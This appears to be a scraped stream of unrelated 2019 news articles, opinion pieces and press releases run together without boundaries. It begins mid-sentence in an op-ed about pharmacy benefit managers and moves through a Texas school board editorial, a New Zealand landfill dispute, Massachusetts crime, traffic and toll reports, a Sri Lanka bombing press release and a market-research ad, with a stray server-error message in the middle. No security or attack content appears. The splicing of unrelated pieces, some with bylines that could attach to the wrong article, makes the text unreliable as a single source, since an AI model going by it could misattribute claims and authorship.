there is one check on Big Pharmas unbridled power in this supply chain: PBMs. PBMs help American patients by negotiating rebates and lower list prices on behalf of insurance providers. Essentially, PBMs negotiate with the power of large pools of patients, holding Big Pharma to account and securing lower list prices and rebates. Unfortunately, the Department of Health and Human Services is now proposing a misguided rule that would eliminate PBMs from negotiating on behalf of Medicare Part D recipients. The intent behind the rule is that it will allow big drugmakers to save money on rebates, which in turn will allow them to lower the list prices of their drugs. However, there is no requirement for drugmakers to lower list prices. And if there is anything Big Pharma has taught us, it is that it will use any and all opportunities to line its own pockets. According to the actuaries for the Centers for Medicare and Medicaid Services, or CMS, the rebate rule would raise Medicare Part D premiums by 25% overall. Furthermore, it will hand Big Pharma a $100 billion bailout. And the proposal is fiscally imprudent. The same CMS actuaries estimate that it will hike federal spending by $196 billion. The Trump administration and Congress are right to address the drug pricing crisis that is ruining lives across the country. And many of their efforts, such as forcing drugmakers to disclose the list prices of their products in direct-to-consumer advertising, have been positive steps in the right direction. However, the rebate rule would have the opposite of its intended effect: putting more money in the pockets of big drugmakers and leaving taxpayers to pay the bill. The administration should focus on market-based solutions that will increase transparency and boost competition. Doris Griffin champions senior rights. For 24 years she was the executive director of the nonprofit Jefferson Outreach for seniors. She is a member of the Texas Silver Haired Legislature. The antics of a runaway school board have once again shifted the focus in the South San Antonio Independent School District away from the students and their academic success to the adults. The Texas Education Agency late last week launched yet another investigation into this dysfunctional school district in response to complaints from two state senators. The agency is looking into allegations the trustees overstepped their authority by meddling in the districts day-to-day operations and not allowing the superintendent to do his job. Specifically, the state investigators are examining the boards action to reopen three shuttered campus without first receiving a recommendation from their superintendent. These are serious charges. School board trustees are only supposed to set policy. The superintendent, the only employee who has the authority to hire, is responsible for the administration of the district. This school board doesnt get it, but this is not a new problem. Governance has historically been an issue in South San, but few lessons have been learned from past experience. The politics in this district always manage to take center stage. The trustees serving on this school board should be ashamed of the disproportionate amount of time and energy the state agency which is charged with overseeing public education in the entire state and monitoring more than 1,000 school districts has had to spend dealing with this single district. Over the past several decades, the district has had at least five different state-appointed conservators or monitors, had its accreditation status change at least nine times and has been the focus of multiple TEA investigations, according to Express-News archives. South San is a relatively small school district with only 8,700 students. It is by no means a wealthy school district, and it is regrettable that precious tax dollars, best spent in the classroom, will now have to be stretched even further to cover the hefty bills that will inevitably come from having to defend the boards questionable actions to the TEA. The timing of this latest TEA intervention is good and may help save the district from disaster. Not only has the current board refused to wait for a recommendation on the reopening of the schools from Superintendent Alexandro Flores, trustees are discounting the cost estimates he has given them, claiming they are inflated. Flores estimates it would cost approximately $29 million to carry out the plan properly. The boards budget committee believes it can be done on the cheap for $6 million if major renovations, heating and cooling replacements, bus purchases and other transportation costs are postponed to a future yet-unscheduled bond. That is no way to run a school district. What happens if that anticipated bond is not approved by the voters? What if it costs more than the $6 million that the lay members of the budget committee have come up with? Superintendents are hired for their knowledge and expertise. Totally disregarding the advice of the top administrator in order to carry out a political agenda and deliver on campaign promises places an undue burden on the taxpayers of this district. We urge the South San board to place on hold its plans to reopen the schools and refrain from awarding any contracts connected to that plan until the TEA investigation is concluded. We realize TEA investigations are not conducted on any specific timetable. But this one should be completed as quickly as possible. If the district is allowed to continue with current plans, it could have an adverse impact on the districts finances and disrupt the education of hundreds of students. Michelle Carmichael, right, on the banks of the Kaipara Harbour at Point Albert presents a petition to Northland National MP Matt King and Labour list MP Marja Lubeck urging the Government to ban landfills near waterways. The 1200-signature petition was presented to Parliament by Ms Lubeck last month. Both MPs have expressed concerns over potential environmental damage to local waterways and the Kaipara should the proposed Waste Management landfill go ahead. Campaigners against the proposed landfill in the Dome Valley say their worst fears have turned into reality with recent environmental disasters at waste disposal sites in the Waikato and on the West Coast. Fight the Tip: Tiaki te Whenua executive member Michelle Carmichael said the recent landfill fire at Hampton Downs and storms that caused a former Fox Glacier landfill to breach, spilling rubbish onto West Coast beaches, both proved that Waste Managements plans for new dump south of Wayby were a recipe for disaster. It is clear since the Fox River landfill disaster that our petition to Parliament to ban landfills near waterways is just plain common sense, she said. We have been given a glimpse of a possible future in which any failure of the Dome Valley landfill will result in plastics and contaminants reaching the Hoteo River and Kaipara Harbour. She added that if a major fire could happen at Hampton Downs, a modern, operational landfill, there was no reason why it couldnt happen in the Dome, and said it could be even more hazardous there. I dont believe a fire at the Dome Valley landfill could be as easily contained as the Hampton Downs site, given that the Dome is surrounded by forest, would be less accessible for emergency services, is adjacent to a Department of Conservation reserve and has the gas line from Marsden Point in the area that Waste Management wants to pipe its landfill gas to, she said. She added that a fire could damage the landfill liner, limiting its ability to prevent leachate from entering the ground water. Ms Carmichael urged the government to put an immediate stop to all future landfills. We need to manage our waste much better and no more NZ land and waterways should be put at risk for future generations until a complete review is done, she said. Waste Managements managing director, Tom Nickels, said he was unable to comment in depth on the Hampton Downs incident, as he did not have details of the cause of the fire. With regards to the Fox River breach, he said this was one of many old tips across New Zealand that had often been poorly sited, designed and managed in the past. However, he said Government guidelines and legislation since 1991 had increased awareness of the risks associated with such tips and required all new sites to meet significantly higher engineered standards. The WasteMINZ Technical Guidelines for Disposal to Land 2016 (revised in 2018), which are in the process of being adopted by the Ministry for the Environment, are now considered best practice for modern engineered landfills, and will be followed by Waste Management at our proposed facility in Wayby, Mr Nickels said. These guidelines mitigate against future Fox River events through a range of practices, including site selection, stormwater management, liner systems, leachate and gas management, and careful design and management of a modern landfill. In addition, ensuring application of the guidelines and monitoring of Waste Managements adherence to them occurs throughout the life of the landfill under the Resource Management Act. Michael Ring TD, Minister for Rural and Community Development, has expressed his delight at the response by communities in Longford to The Big Hello! initiative which he launched last month. The Big Hello! supports communities to host events in their local area in order to strengthen community ties and help tackle the problem of social isolation. So far, 30 Big Hello! events are scheduled in the county for the forthcoming May Bank Holiday Weekend (4-6 May), with more to be arranged. Minister Ring said: Im blown away by the response that there has been from communities in Longford. Its going to make for a really enjoyable and exciting May bank Holiday weekend in the county. Over 790 events have been confirmed nationally, with more to come. In fact, Im confident that we will surpass our target of 1,000 events throughout the country. Minister Ring said the level of participation in Longford is a reflection of how strong the local communities are. Also read: Hosts Longford will have fifteen teams in Leinster finals action this weekend Minister Ring: Im delighted that people in Longford have taken to The Big Hello! concept so enthusiastically. It is a great reflection of the strong communities that we have. I now urge people to reach out to their neighbours, especially those who may be elderly or vulnerable, and try to get them involved in their local event. In a world where people are spending less time in their communities and more time at work, it is important to find new ways to connect people and focus on the importance of neighbours. With our busy lives, it can be hard to make as much time for each other outside of our network of family, friends and social media contacts. Sadly, many people living among us are experiencing social isolation and loneliness. I firmly believe that this initiative can help people to connect or re-connect with their neighbours and communities. I am really looking forward to attending The Big Hello! events throughout the county over the May Bank Holiday Weekend. he added. The initiative is being organised by the Ministers Department in partnership with representatives of Public Participation Networks, Local Community Development Companies, Volunteer Ireland, Young Social Innovators, Macra na Feirme, Street Feast, An tOireachtas and Change X. In order to support local events, Minister Ring allocated 10,000 to each of the 31 Local Authorities and asked them to allocate funding to The Big Hello! events in their areas. Further details can be found on www.drcd.gov.ie/bighello or on The Big Hello! Facebook page. People in Longford are being urged to learn more about how to avoid fraudsters and keep their money safe. Friends Against Scams information and anti-fraud training is being offered by Ulster Bank staff at the Longford Arms Hotel on Wednesday 8th May from 6-8pm. Attendees on the night will hear from Declan Kenny, Head of Conduct, Ulster Bank Personal Banking, Denise Cusack, Ulster Banks Community Protection Advisor and Community Banker Brigid Nally on ways to protect yourself from fraud and improve your digital banking skills. Several community organisations will be present at stands on the night, to promote the services they offer, and people will have the opportunity to get assistance with banking securely online at a digital hub and visit Brigid, the Midlands Mobile Bank The Friends Against Scams initiative is being rolled out around Ireland by Ulster Bank to help organisations to train staff and spread the anti-fraud message. A recent survey commissioned by Ulster Bank, found that while almost three quarters (71%) of Leinster respondents say they are fairly confident that they could detect a potential scam (up from 55% in 2017), under a quarter of respondents in Leinster (24%) say theyre very confident that they know what kind of security information their bank may ask them for (down from 26% in 2017). Ulster Banks Community Protection Advisor, Denise Cusack, said, At Ulster Bank we are committed to helping customers. Thats why Ulster Bank staff in Longford and around the country have been receiving Friends Against Scams training in recent months, so that we can help customers to avoid fraudsters and keep their money safe. Ulster Banks Community Banker in Longford Brigid Nally said, Many people who find themselves targeted by fraudsters can feel embarrassed and vulnerable. We hope that by raising awareness and bringing these things into the open, people in Longford will feel more comfortable in speaking out and help others avoid scams in the future. I would encourage everyone to pop along to the Longford Arms Hotel on Wednesday 8th May from 6 to 8pm to learn more. American drug companies pride themselves on innovation, and much of todays policy debate has focused on the high prices of the newest, patent-protected drugs. But older drugs were innovative once, and some if available still offer people with once-deadly diseases their best shot at life. Thats why efforts to make drugs more accessible have to address shortages as well as high prices. Some are. Lifesaving cancer drugs or IV fluids can run short on a routine basis (as I explored in a previous column) and experts also say theres no plan in place to deal with emergencies. Had the anthrax attacks that occurred in the wake of 9/11 been more extensive, as many feared, there would never have been enough of the recommended antibiotic, Cipro, to go around. Various people are proposing solutions to the acute and the chronic shortages that are entrepreneurial, legislative and technological. Erin Fox, director of the drug information service at the University of Utah, said that this is a stubborn problem. Over the last 20 years, drugs that are essential to patients have run short because they are made in only one or two plants in the world. Despite an unmet need, aspiring new competitors face huge barriers to entry. Even drugs with published formulas can be complex and difficult to manufacture in a way that meets legal requirements. And basic items such as IV bags are not that easy to make with consistent and acceptable sterility. Last year, then-FDA commissioner Scott Gottlieb proposed a move to approve more suppliers, but even with lower barriers to entry, it might not make economic sense for companies to build an expensive factory, or revamp a crumbling one, to make very cheap drugs with a minuscule profit margin. She and other policy experts say theyre looking with some hope to a new nonprofit company, Civica RX, a result of hospitals joining together to produce life-saving generic medicines in a reliable way. It may be hard to pull off. As a Bloomberg Opinion column from last year concludes: Theres good reason hospitals were not in the drug business. As Megan McArdle warned then, rarely do leaders in such ventures stop to ask the reasons for the high prices and the scarcity, or to wonder whether those reasons will magically go away once they own their suppliers. But Fox, who has spent years studying those reasons, is more optimistic. Civica Rx would address the root of the shortage problem by using long-term contracts with existing facilities, thus getting both sides to commit to a continued supply. To decide which drugs to make, the company could start with the World Health Organizations list of essential medicines. Others are looking to the government to make drugs whose supply has been precarious. Steven Knievel, an access to medicines advocate at Public Citizen, points out that Senator Elizabeth Warren has proposed legislation that would accomplish something similar to Civica Rx. Called the Affordable Drug Manufacturing Act, it would establish a new office within the Department of Health and Human Services tasked with making generic drugs. Its meant to address both high costs and shortages. A government project would withstand the economic barriers faced by private companies but getting such legislation passed is nearly impossible because the drug industry has such a powerful influence in Congress. We really do have a situation of regulatory capture, said Wendell Potter, a former insurance PR executive turned patient advocate, and president of Business Initiative for Health Policy. Pharmaceuticals seem to have such a grip on FDA and Congress so its extraordinarily hard to get legislation passed that would get some relief. Framing shortages as a matter of national defense might help drum up the political will needed to get legislation that favors patients. Last year, a group of health care organizations met to consider drug shortages as a matter of national security. They laid out a number of policy changes that might protect patients from both routine shortages and emergencies. One proposal that had widespread support is requiring companies to notify the FDA as early as possible of an impending shortage. In principle, this could aggravate shortages by encouraging hoarding but ideally the warnings would speed up the free markets response by raising prices for a generic drug and prompting other manufacturers to produce it. It would also give doctors and hospitals time to prepare and find workarounds, as Fox said people did when damage from Hurricane Maria interrupted a critical supply of IV bags of saline solution. Improved technology could turn things around especially the emerging field of so-called continuous manufacturing. The idea is to replace the usual step-by-step batch processing with a much more automated, continuous process that takes in raw ingredients and produces a finished, packaged drug. Pilot plants are being developed, such as this joint effort between Novartis and MIT. Theres so much energy being poured into health care on so many fronts, trying to improve existing treatments and cure conditions that are now beyond the reach of medicine. But it would be wrong to get caught up in the novelty of innovation and leave behind those with treatable conditions who arent able to get the drugs they need. Some combination of technology, legislation, regulatory nudges and nonprofit initiatives can turn drug shortages into a truly rare problem. Flam is a Bloomberg Opinion columnist. She has written for the Economist, the New York Times, the Washington Post, Psychology Today, Science and other publications. She has a degree in geophysics from the California Institute of Technology. Error On Page .... A Server error had occured on the page you requested for. Sorry for the inconvenience! Go to Home page A 22-year-old man from Chelsea suffered serious injuries in a major collision on Interstate 93 Thursday morning. A preliminary investigation by New Hampshire State Police found that the driver of a 2018 Nissan Sentra, identified as 24-year-old Boston man Jose Laguer, lost control of his vehicle on I-93 northbound in Salem, New Hampshire. Shortly before 11:30 a.m. on Thursday, the car struck a guardrail. Laguer sustained minor injuries and was taken to Lawrence General Hospital, New Hampshire State Police said in a statement. The passenger of the car, 22-year-old Jorge Ramirez, of Chelsea, suffered more serious injuries, police said. He was transported to Brigham and Womens Hospital in Boston where he remained in stable condition on Thursday. The crash caused a temporary shutdown of I-93 northbound in New Hampshire as authorities and emergency personnel responded to the crash. The death certificate of Boston mob boss James Whitey Bulger states that he died from a blunt force injuries to the head, according to reports from NECN and Fox. The West Virginia Department of Health and Human Resources death certificate shows that Bulger was found dead at 8:21 a.m. on Oct. 30, less than 24 hours after arriving at the U.S. Penitentiary, Hazelton in West Virginia. He was 89 years old. The death certificate said the injury happened when he was assaulted by other(s) in his prison cell, according to NECN. The prisoners who attacked and killed Bulger tried to cut out his tongue, CNN reported last year. Those types of attacks are typically performed within organized crime as retaliation against those who have cooperated with law enforcement. Bulger led the Irish mob in South Boston for decades and became an FBI informant who gave information on his gangs main rival, the New England mafia. When he learned he was about to be indicted, Bulger fled and was a fugitive for 16 years until he was arrested in 2011 in Santa Monica, California. Bulger was convicted of 11 murders and sentenced to life in prison in 2013. He was moved from a prison in Florida to Oklahoma City for a brief stop to the West Virginia prison. A woman and a child were injured during an armed home invasion in Haverhill Wednesday night, authorities said. The Haverhill Police Department told The Boston Globe that several masked and armed men broke into the home at 2 Columbia Park and demanded money. The suspects are described as Hispanic, wearing dark jeans and black hoodies. Authorities told the newspaper that the woman and child were brought to the hospital, and other children were also present at the time of the robbery. Police dont believe the attack was random and are asking anyone with information to contact them at 978-373-1212. Authorities are warning residents in Milford and Holliston to be on alert after receiving reports of breaking and entering at the homes of families who were attending funeral and wake services. Milford Police Chief Tom OLoughlin wrote on social media to announce two recent reports of breaking and entering in the past week, one in Milford and one in Holliston, both of which occurred while the homeowners were attending a funeral or wake. Police reportedly believe the suspects may be searching on obituary pages to target homes. If you experience a death in your family and you have relatives in Milford or the decedent is from Milford, please notify the Milford Police Department with the home addresses and the dates and times of the services so that we can make checks of those homes, OLoughlin wrote in a Facebook post on the Milford Police Department page. A 70-year-old woman from Yarmouthport died in a head-on motor vehicle collision on Thursday. Cathy Flavin, 70, died of critical injuries in Cape Cod Hospital following a head-on crash in the area of Route 28 and Townbrook Road in West Yarmouth on Thursday, according to a statement by Yarmouth police. Members of the Yarmouth Police and Fire Departments responded to the scene around 2:47 p.m. on Thursday for reports of a serious crash. Yarmouth Patrol Officer Andrew Coville observed that a gray 2008 Honda CRV had driven over from the eastbound lane of Rt. 28 into the westbound lane, where the vehicle crashed head-on with a GMC truck owned by Lawrence Lynch Corporation of Falmouth. Flavin was found critically injured in the drivers seat of the Honda CRV, which police say was heavily damaged in the crash. She was given emergency medical care on the scene and was then transported to Cape Cod Hospital, where she died of her injuries. Barnstable police also responded to the scene, and reported that the Honda CRV had been involved in a rear end collision near the Kappys Liquor store in Barnstable shortly before the Yarmouth crash. One witness told Yarmouth police that they saw Flavins vehicle sideswipe a telephone pole before crossing over into the opposite lane, where the Honda collided with several oncoming vehicles. The witness had called police when she saw the vehicle sideswipe the pole, just seconds before the crash. Another witness told police that he narrowly avoided a head-on collision with the Honda by moving his vehicle out of the way. The Yarmouth Police and Fire Departments extend our deepest sympathies to the Lavin family, police said in a statement. The crash remains under investigation by Yarmouth police. AMHERST A group of Jewish students at the University of Massachusetts is asking the courts to prevent a controversial pro-Palestine panel discussion from taking place at the Amherst campus. In a lawsuit filed with Suffolk Superior Court on Thursday, the students are asking for a preliminary injunction barring the event from going on as planned in the Fine Arts Center or anywhere else on the UMass campus. The panel, titled Not Backing Down: Israel, Free Speech, and the Battle for Palestinian Human Rights is set for 6:30 p.m. May 4. Participants include journalists and activists who have spoken publicly in support of a Palestinian homeland and against the Israeli government. The most prominent speaker is Roger Waters, a founder of the rock group Pink Floyd, who has been critical of what he calls Israels human rights abuses against Palestinians. The suit charges that promotion of the event over the past few weeks has increased the level of anti-Semitism and hostility toward Jewish students, and allowing it to go on as planned will only make such tensions worse. It also charges that by allowing the panel space on campus, UMass is violating its own policies in regard to groups that promote hatred and bigotry. Attorney Karen Hurvitz, who filed the suit on behalf of the students, said they and others will suffer even more hostility and be the subject of more anti-Semitism than they have already suffered if the University sponsors and hosts this event on its campus. A hearing on the request for an injunction is planned for Monday in Suffolk Superior Court in Boston. The suit is names as defendants members of the UMass board of trustees, President Marty Meehan and Chancellor Kumble Subbaswamy. The three students filing the suit are identified only as John Doe 1, John Doe 2 and John Doe 3. Hurvitz said, and its noted in court documents, that the students are filing under pseudonyms out of fear they will be targeted and harassed if their identities are known. They are hesitant to even express their views on campus for fear of hostility and retaliation by other students and by faculty certainly reasonable in light of the fact that some of the faculty is actively sponsoring the event, the suit states. In the weeks leading up to the event, the university has been criticized for its involvement and for allowing it to take place in campus facilities. UMass issued a response on Wednesday, stating that renting space on campus to an outside group is not sponsorship or an endorsement of that groups beliefs. Also no taxpayers money is being used to put on or to promote the event. Although UMass is not sponsoring it, two academic departments, Communications and Women, Gender and Sexuality Studies, and one program, the Resistance Studies Initiative, are signed on as co-sponsors. The main sponsor is the Media Education Foundation, a Northampton-based organization run by Sut Jhally, a faculty member with the UMass Department of Communications. The lawsuit is the latest challenge to the the panel as being inappropriate for the public university campus. The Massachusetts Republican Party and the Massachusetts Jewish Republican Committee this week issued a statement calling the event both anti-Semitic and anti-Israel. Also this week, 80 pro-Israel organizations, some from as far away as California, signed a letter protesting UMass involvement with the event. WESTHAMPTON We often hear barred owls sending their who cooks for you? calls across our little valley. They tend to start calling late in the afternoon and often continue deep into the night. Our yellow lab, Gracie, if outside, never fails to bark back in reply. Sometimes the owls answer back or at least they seem to. We captured one, against a noisy backdrop of peepers and wood frogs, on a trail cam last Friday night. The owl, while hyper-vigilant to its surroundings, appears to be interested in something on the ground beneath it. Andrew Vitz, state ornithologist for MassWildlife, said it likely just captured and devoured its evening meal. Barred owls favor small mammals, especially mice and voles. They also eat frogs and salamanders, insects and birds. The owls, common in Massachusetts, also have their own predators to worry about, including raccoons, weasels and great horned owls. Although we have yet to capture a great horned owl or weasel on one of our trail cams, raccoons are in great supply. Four days later, our pond cam picked up a pair of hooded mergansers in the morning mist and, toward the end of the day, feasting on small fish. Hooded mergansers are fast becoming one of my favorite birds. I love the way they slip below the surface with barely a ripple, only to pop up like a cork, sometimes with a fish, a short distance away. I wish I could somehow capture video of them swimming underwater. One of these mornings I might take my GoPro camera down there and leave it running on the bottom of the pond for a few hours to see if one zooms by. Although we have seen wood ducks in this area for years, this is only the second season that we have captured hooded mergansers on our trail cams. Vitz said their numbers are increasing in Massachusetts. That may not be happy news for the wood ducks because the two species compete for the same tree cavities in which they lay their eggs. The hatchlings of both start their lives with a breathtaking plunge to whatever fates await them below. EAST LONGMEADOW - The Massachusetts Civil Service Commission has sided with a former East Longmeadow police officer who said he was fired without cause as a result of a 2017 altercation with a private security guard. The commission on Thursday voted to allow the appeal of Michael Calcasola, who charged he had been improperly fired in December 2017. Calcasolas lawyer, Thomas Rooke, said the ruling entitles him to get his job back, plus all back pay owed him since his dismissal in December 2017. Im happy for (Calcasola). Hes been under a tremendous amount of stress, Rooke said. He has been vindicated by the decision of the Civil Service Commission." Calcasola, two and a half years on the job, was fired by town manager Denise Menard and Police Chief Jeffery Dalessio for being untruthful in his report about a confrontation the previous August with a private security guard following a medical call to an East Longmeadow company. The security guard complained that Calcasola pushed him during a heated argument, while Calcasola said he only touched the guard only after the guard had made contact with him first, and that he pushed the guard only to create space between them. Calcasola was dismissed after the town determined his account of the exchange was different from the accounts of other officers and from what was shown in surveillance video. In the ruling authored by Cynthia A. Ittleman, she cites questionable testimony from the security guard that makes him unreliable. I find his assertions that (Calcasola) touched him first are unreliable, and that (Calcasola) was not untruthful. She also noted how Calcasola in his two-plus years with the department had no disciplinary issues and that there was an ongoing tension between himself and his supervisor, Sgt. Joseph Dalessio, the son of the police chief. She also notes that the town was unable to cite any department rules that Calcasola is said to have violated, and how Chief Dalessio testified he was not aware of any other officer else ever being fired for untruthfulness. Expanding road tolls across Massachusetts and to the states borders could be a way to generate new revenue to address growing transportation woes, Senate President Karen Spilka said Thursday. In remarks at a Greater Boston Chamber of Commerce breakfast Thursday, Spilka, an Ashland Democrat, told business leaders that tolls similar to those along Interstate 90 deserve consideration for other places. Simply put, and I put this out there, if tolls are a good idea for my district, my region, I believe we should explore the possibility of expanded tolling, including possibly at our borders, Spilka said. Our best ideas wont matter if we cant find a way to make a 21st century transportation infrastructure a reality and find a way to pay for it. Spilka also mentioned congestion pricing, an idea other lawmakers on Beacon Hill have frequently raised, as a way to address worsening traffic and infrastructure. Echoing a similar comment made last month by House Speaker Robert DeLeo, Spilka told the audience that no proposal should be off the table. The Legislature, she said, must soon take up an honest and clear-eyed conversation about how we will pay for the proposed solutions to our complex challenges.Her remarks came a day after the release of a MassINC poll finding a majority of employees across the state have experienced anger at delays on their daily commutes. Gov. Charlie Baker, speaking in the wake of the poll on Wednesday, said he does not believe any new taxes are necessary to improve transportation, citing his administrations plan to invest historic levels of funding in the next five years."I dont believe that raising taxes is the answer to this problem at this point in time," he said this week. DeLeo said last month that all transportation revenue options are still on the table, although representatives do not plan to debate the topic until some time later this year.Spilka did not outline a timeframe for taking up road tolls or other forms of transportation revenue. Sen. Brendan Crighton filed a bill (S 2060) calling for a Department of Transportation study about expanding tolls, but no action has been taken on that legislation since it was referred to committee in January. In an interview with the News Service after the event, Spilka said it was premature to say how the Senate plans to approach the transportation revenue conversation. Id like to defer that question for a few weeks or a month or so until we dive into this a little bit more, she said. There are a lot of needs. Im not certain how you solve those with just fixes, not counting revenue. I dont know if its possible at this point. Spilka said Joint Committee on Transportation Co-chair Sen. Joseph Boncore who himself has filed bills calling for peak pricing on ride-hailing apps and for congestion tolls will lead lawmakers in studying the issue. She also pointed to a new Senate working group led by Sen. Adam Hinds that will take a comprehensive look at the states tax code with a goal of informing legislation for the 2021-2022 session. Its not clear if lawmakers view the House budget being debated this week as a money bill, a designation that would allow the Senate to add in new revenues when they take it up next month. Spilka said Thursday she is not sure if the current version is a money bill and is awaiting the final House vote. The House on Thursday added a rider to its budget expanding a land conservation tax credit. Spilkas speech focused on other key issue areas beyond transportation, too. She announced that the Senate budget would also include a new $10 million fund for mental health initiatives, and she told attendees not to be surprised if the Senates budget includes record levels of Chapter 70 education funding - a pool of money that rises in each state budget. Spilka would not say exactly what her budgets education funding would be, but she touted the Senates previous votes in favor of fully implementing reforms recommended by the Foundation Budget Review Commission and said the chamber would put its money where its mouth is when it comes to education." If you look at the last few years, this has been the Senate priority," Spilka told the News Service. I believe it will be this year as well. She tied together her remarks by suggesting that a wide range of legislative priorities can all be considered through two lenses: climate change and economic development. To drive home the latter point particularly relevant for an audience of hundreds of small and large business leaders Spilka described the cost carried by many of the regions most significant challenges. Bad commutes leave workers dissatisfied and willing to look elsewhere for jobs, she said, education inequality leaves a portion of the population unable to succeed financially, and a Massachusetts Taxpayers Foundation study estimated the state loses $2.7 billion a year in business productivity as a result of the opioid epidemic. The key challenge before us, I believe, is safeguarding and maintaining the economic vibrancy and vitality of our state, Spilka said. Thats why I believe that its very important to emphasize that every policy issue that we face this session is also an economic development issue. As Massachusetts legislators look for solutions on the states revenue shortfalls and transportation problems, Senate President Karen Spilka has a few suggestions -- including a proposal to expand road tolls. At a government affairs forum with the Greater Boston Chamber of Commerce on Thursday, Spilka, a Democrat from Ashland, said the state should explore the possible use of expanded tolling, including at our borders." She said the senate is currently undertaking a roundtable study of transportation, led by Senate Transportation Chairman Joe Boncore, to learn how to address problems of congestion and access in Massachusetts. Spilka framed expanded tolling as an issue of regional equity, and said if tolls work well in her region, they could do the same elsewhere. She provided few details on what expanded tolling might look like, but used it as an anchor to talk about other potential strategies the state might use to address problems of transportation and affordability. From congestion pricing to mobile apps that make traveling by public transport easier, we must call on innovative tech and policy ideas to create the transportation system we need, Spilka said in her speech. The senate president said the state is in need of innovative and tech policy ideas to tackle the growing traffic problem in urban areas, or risk losing Massachusetts economic vitality -- and talented workforce. A recent poll by MassINC reveals the traffic is so bad in Greater Boston that some residents have considered relocation. She stressed a need for public transportation to provide the ease, connectivity and responsiveness that are currently offered by cars and ride-hailing companies like Uber and Lyft. Spilka said climate change resiliency is a necessary factor when evaluating policy solutions to transportation and other kitchen table issues," such as lack of affordable housing. Beyond transportation, Spilka announced the introduction of a $10 million fund for mental health initiatives in the Senate budget that would work toward increasing access to services and reducing stigma around mental illness. These funds will be used to expand access to services for every region and for all residents, increase the number of well-trained practitioners, shore up our efforts to increase mental health parity, and instill awareness that mental health care is health care, she said. Read the senate presidents full speech to the Greater Boston Chamber of Commerce here. Hail the size of quarters has been spotted raining down in parts of Southern Worcester County Friday afternoon as a severe thunderstorm was tracking north from Connecticut. Weather spotters in Southern Worcester County are reporting hail up to 1-inch in size. The National Weather Service had issued a tornado warning for parts of Southern Worcester County and Northern Connecticut Friday. Although a tornado did not materialize, hail and heavy rains did. In addition, the National Weather Service was tracking a strong thunderstorm over Hubbardston, 13 miles southwest of Fitchburg moving north at 35 mph Friday afternoon. Dime-sized hail is expected with this storm that could hit the towns of Gardner, Winchendon, Templeton, Westminster, Ashburnham, Barre, Hubbardston, Ashby, Phillipston and Petersham. Severe Thunderstorm Warning including Gardner MA, North Brookfield MA, Baldwinville MA until 3:45 PM EDT pic.twitter.com/PgpvLj3NBj NWS Severe Tstorm (@NWSSevereTstorm) April 26, 2019 Was not home but heres a pic from town pic.twitter.com/IhcwqTX7q1 Kevin (@TollandKev) April 26, 2019 Gospel For Asia Grieves its Social Worker's Five Family Members Killed in Sri Lanka Easter Terror Bomb Attacks on Two Different Churches Humanitarian agency Gospel For Asia (GFA) continues to support grief-stricken communities as death toll rises to more than 250, president declares State of Emergency Terrorists' serial church bombings in Sri Lanka on Easter Sunday claimed the lives of five family members of a GFA-supported Bridge of Hope social worker. GFA Founder K.P. Yohannan called on believers around the world to pray for the families, church leaders and believers amid attacks intended to intimidate and sow fear among those in the country. NEWS PROVIDED BY Gospel for Asia April 25, 2019 WILLS POINT, Texas, April 25, 2019 /Christian Newswire/ -- Humanitarian agency Gospel For Asia (GFA, www.gfa.org), today announced that one of its social workers in Sri Lanka lost five family members in the Easter Sunday terror bomb attacks on two separate churches. GFA mourns the loss of her relatives and continues to pray for members of the community. The female social worker, who serves at a GFA-supported Bridge of Hope children's center, was "in utter shock and great grief" after she discovered five of her relatives were killed in blasts at two separate churches, said GFA founder K.P. Yohannan. The victims included four members of the same family both parents and their two children. "Please pray for God's comfort and peace upon the bereaved families," Yohannan said. "Pray that God will give them strength during this difficult time... and for protection upon all families and communities in Sri Lanka as insecurity and uncertainty continues." Funeral services have been held for the GFA worker's family members, killed in the separate serial suicide bomber attacks. Terrorists targeted three churches, hotels and other locations. GFA also reported that a bomb had been defused on a street near one of its supported offices. The latest death toll in the attacks, linked to an Islamic terror group, stood at 253, with the country's president declaring a State of Emergency and deploying 7,000 security forces across Sri Lanka amid fears of possible unrest and further attacks. "GFA-supported national workers will be part of the healing and restoration of shattered communities in the weeks to come," said Yohannan. In addition to providing relief aid, Gospel For Asia maintains ongoing projects in Sri Lanka, including supporting Bridge of Hope centers that provide quality education, meals and medical care to children who were impacted by Sri Lanka's devastating civil war. One center in the north is home to 120 children who have lost one or both parents to war. GFA also supports women's Christian fellowships and radio ministry broadcasts. "I ask for your prayers and support, that the people of Sri Lanka may find strength in God's grace as they move forward," Yohannan said. "Please join us in praying that during these pain-filled days ahead, our brothers and sisters on the field would be the healing hands of Jesus to broken and hurting people." To join GFA's prayer network for Sri Lanka, go to: www.gfa.org/pray/sri-lanka. About Gospel for Asia Celebrating its 40th anniversary in 2019, GFA (Gospel for Asia, www.gfa.org) is a leading faith-based humanitarian and mission agency, bringing vital assistance and spiritual hope to millions across Asia, especially to those who have yet to hear the "good news" of Jesus Christ. In 2018, this included more than 70,000 sponsored children, free medical camps conducted in more than 1,100 villages and remote communities, over 4,700 wells drilled, over 11,400 water filters installed, income-generating Christmas gifts for more than 240,000 needy families, and spiritual teaching available in 110 languages in 14 nations through radio ministry. SOURCE Gospel for Asia CONTACT: Gregg Wooding, 972-567-7660, gwooding@inchristcommunications.com Related Links www.gfa.org Carcinoid Syndrome Management Market study published by Market Research Future tracks and analyze developments which are competitive in nature such as joint ventures, strategic alliances, mergers and acquisitions and Increasing incidence of hormonal disorders, growing smoking habits, levels of carcinogen in highly developed countries etc. are the major driving factor, driving the growth of the market. The only factor restraining the growth of global carcinoid syndrome management market is that no availability of drugs approved to manage carcinoid syndrome. Get Free Sample Copy @ https://www.marketresearchfuture.com/sample_request/2843 Carcinoid syndrome comprises of signs and symptoms including flushing of the face, debilitating diarrhea, asthma caused due to vasoconstriction, intestinal bleeding, fast heartbeat, shortness of breath, sweating, unexplained weight gain etc. which are settled secondary to carcinoid tumor. The management or treatment of carcinoid syndrome often requires palliative and supportive care. Management of carcinoid syndrome involves drug therapy or surgical removal of carcinoid tumor from the organ. Segmentation: The global carcinoid syndrome management market is segmented on the basis of organs affected by the disease, treatment procedures and end users. Based on organs affected by the disease, the market has been segmented into small intestine, lungs, rectum, appendix, colon, stomach, pancreas, liver and others. Based on treatment type, the market has been segmented intochemotherapy, biological therapy, and hepatic artery embolization agents. Further on the basis of end users the market has been segmented as hospital, clinics, and cancer institute and treatment centers. Key players Novartis International AG (Sandoz) Pharmascience Inc. Omega Laboratories Ltd. Teva Pharmaceutical Industries Ltd. Mylan N.V. Ipsen Biopharmaceuticals, Inc. Sirtex Medical Limited BTG International Ltd. 